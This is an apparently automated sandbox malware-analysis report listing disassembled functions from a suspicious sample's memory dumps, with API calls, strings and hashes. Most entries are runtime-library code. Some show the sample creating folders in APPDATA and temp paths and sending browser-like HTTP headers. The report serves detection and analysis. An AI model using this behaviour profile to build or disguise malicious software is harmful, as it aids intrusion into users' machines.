Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 37dafa969150eeb09f2d68ad9d46abae469e8d92b579355ddc2ecf38041403ba
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 4B017531F44721BBE7205BB4BC09F563AE8AB48715F544032F905E22A2DB78CC078A6C

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

APPDATA, xrefs: 10001D3F
TMPDIR, xrefs: 10001E24

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 0041C38F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0041CE8F), ref: 0041C3A8

Strings

sqrt, xrefs: 0041C4E7
exp, xrefs: 0041C427, 0041C48C
pow, xrefs: 0041C446, 0041C4F0, 0041C53D
acos, xrefs: 0041C4DE
asin, xrefs: 0041C4D5
log, xrefs: 0041C405, 0041C414
log10, xrefs: 0041C3EA, 0041C3F9

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction ID: c807006a3b6ff10d3a002f023a5ec1143af0d4f8941b6a10615b45774aafcbb0
Opcode Fuzzy Hash: 05187ea62b41d2bf9bc39929cbb8bd1b88e738aa0c5724388b28886b27f4fa98
Instruction Fuzzy Hash: A751CC7098422AEBCB108F98ED9C5FE7F71FB05304F908057D480A6664C7BC99A6CB5D

Function 04D0B0BB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04D0B1DA
___TypeMatch.LIBVCRUNTIME ref: 04D0B2E8
_UnwindNestedFrames.LIBCMT ref: 04D0B43A
CallUnexpected.LIBVCRUNTIME ref: 04D0B455

Strings

csm, xrefs: 04D0B0F8
csm, xrefs: 04D0B165
csm, xrefs: 04D0B211

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 7b6221219bb55dbb89d748f8856a00264ef97102b8050ef18d9d3324b3a3e2c7
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 42B14671904609EFDF29DFE4C880AAEBBB5FF04314B14C15AE8116B295E770FA51CBA1

Function 0040BCBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040BDDA
___TypeMatch.LIBVCRUNTIME ref: 0040BEE8
_UnwindNestedFrames.LIBCMT ref: 0040C03A
CallUnexpected.LIBVCRUNTIME ref: 0040C055

Strings

csm, xrefs: 0040BD65
csm, xrefs: 0040BCF8
csm, xrefs: 0040BE11

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 526bd2c442181307887733989819878d768e136a746cf2eec307868f2bd45ee9
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: EEB1477180020AEBCF25DFA5C8819AEBBB5EF04314B14416BE815BB292D738DA51CFDD

Function 04B5BF22 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 04B5C041
___TypeMatch.LIBVCRUNTIME ref: 04B5C14F
_UnwindNestedFrames.LIBCMT ref: 04B5C2A1
CallUnexpected.LIBVCRUNTIME ref: 04B5C2BC

Strings

csm, xrefs: 04B5C078
csm, xrefs: 04B5BF5F
csm, xrefs: 04B5BFCC

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: e83397c46159cdec50bed3ac76d9e1d88e90f26eef1d7b156bb1fe2c9a7c49b1
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 31B13471800309AFEF15EFA4D880AAEFBB6EF04314B14459AEC156B221D775FA61CB91

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04B59E04 Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,04B59DE2), ref: 04B59E10
GetModuleHandleW.KERNEL32(0041FFC8,?,?,04B59DE2), ref: 04B59E1B
GetModuleHandleW.KERNEL32(0042000C,?,?,04B59DE2), ref: 04B59E2C
GetProcAddress.KERNEL32(00000000,00420028), ref: 04B59E3E
GetProcAddress.KERNEL32(00000000,00420044), ref: 04B59E4C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B59DE2), ref: 04B59E6F
RtlDeleteCriticalSection.NTDLL(0042D064), ref: 04B59E8B
CloseHandle.KERNEL32(0042D060,?,?,04B59DE2), ref: 04B59E9B

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction ID: 114aca349e9446cb3140817a8215e72cefff1a56a962bd188af4019860c5a3ad
Opcode Fuzzy Hash: 4fb7e18995e5e2f02b724b68456555f771a33f70ab985dbad30083c91c8ea3bd
Instruction Fuzzy Hash: 7D015271B40711EBD7205BB4FC09B977AE8EB48B05B504575BD05E2171DB68D80B8A68

Function 04D131CC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D13252

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: 417bccfef4060ed6a3966fa8bbcf6eb7b6f96e728a362a52769359c78c714c5c
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 74B14772A00295BFFB12CFA8EC81BAE7BA5FF55310F144165ED04AB2A1D674F901C7A0

Function 00413DCC Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00413E52

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction ID: 4a21b80fcc43a582202c6f7144ab3ce64f52356938c116e7343db5097d41ee6d
Opcode Fuzzy Hash: bf0b0920984447c06244afe43fd9d6a0130e4e86955e3e91be41bedb8128cd91
Instruction Fuzzy Hash: 57B13672E003559FDB118F65CC81BEF7FA5EF59310F14416BE904AB382D2789A82C7A8

Function 04B64033 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B640B9

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction ID: e18b7271fb970160145d15685fb4ea2e29065bd8e312b6d866313cd3be2e7049
Opcode Fuzzy Hash: 40243c521aab70af30abc9ec0642881d9f494199df659fe1a780e76705c17a36
Instruction Fuzzy Hash: 2BB16972A00765AFEB11CF68CC81BAE7FA5EF55314F1441E5E906AF281D278B901CBA4

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04D0ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D0ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D0ABFF
_ValidateLocalCookies.LIBCMT ref: 04D0AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D0ACB3
_ValidateLocalCookies.LIBCMT ref: 04D0AD08

Strings

csm, xrefs: 04D0AC9D

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: f3c310302b0c40c20b9b34b855988e141cdf130191ac3f7e6030e8d48a8665a6
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 8641A134B00308ABCF10DF68C884B9EBBA5FF44328F15C155E8155B391D775B905CBA5

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 04B5BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B5BBE2,04B5B186,04B5A997), ref: 04B5BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B5BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B5BC20
SetLastError.KERNEL32(00000000,04B5BBE2,04B5B186,04B5A997), ref: 04B5BC72

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 6aa0adfddb83c856484edfb267a0c027b78ea150434a97a385df620e2e433f01
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 3001B53620D7119EA7342BBD7CC4B6BEF65EB0167C72002B9E925A60F1EE5578026188

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
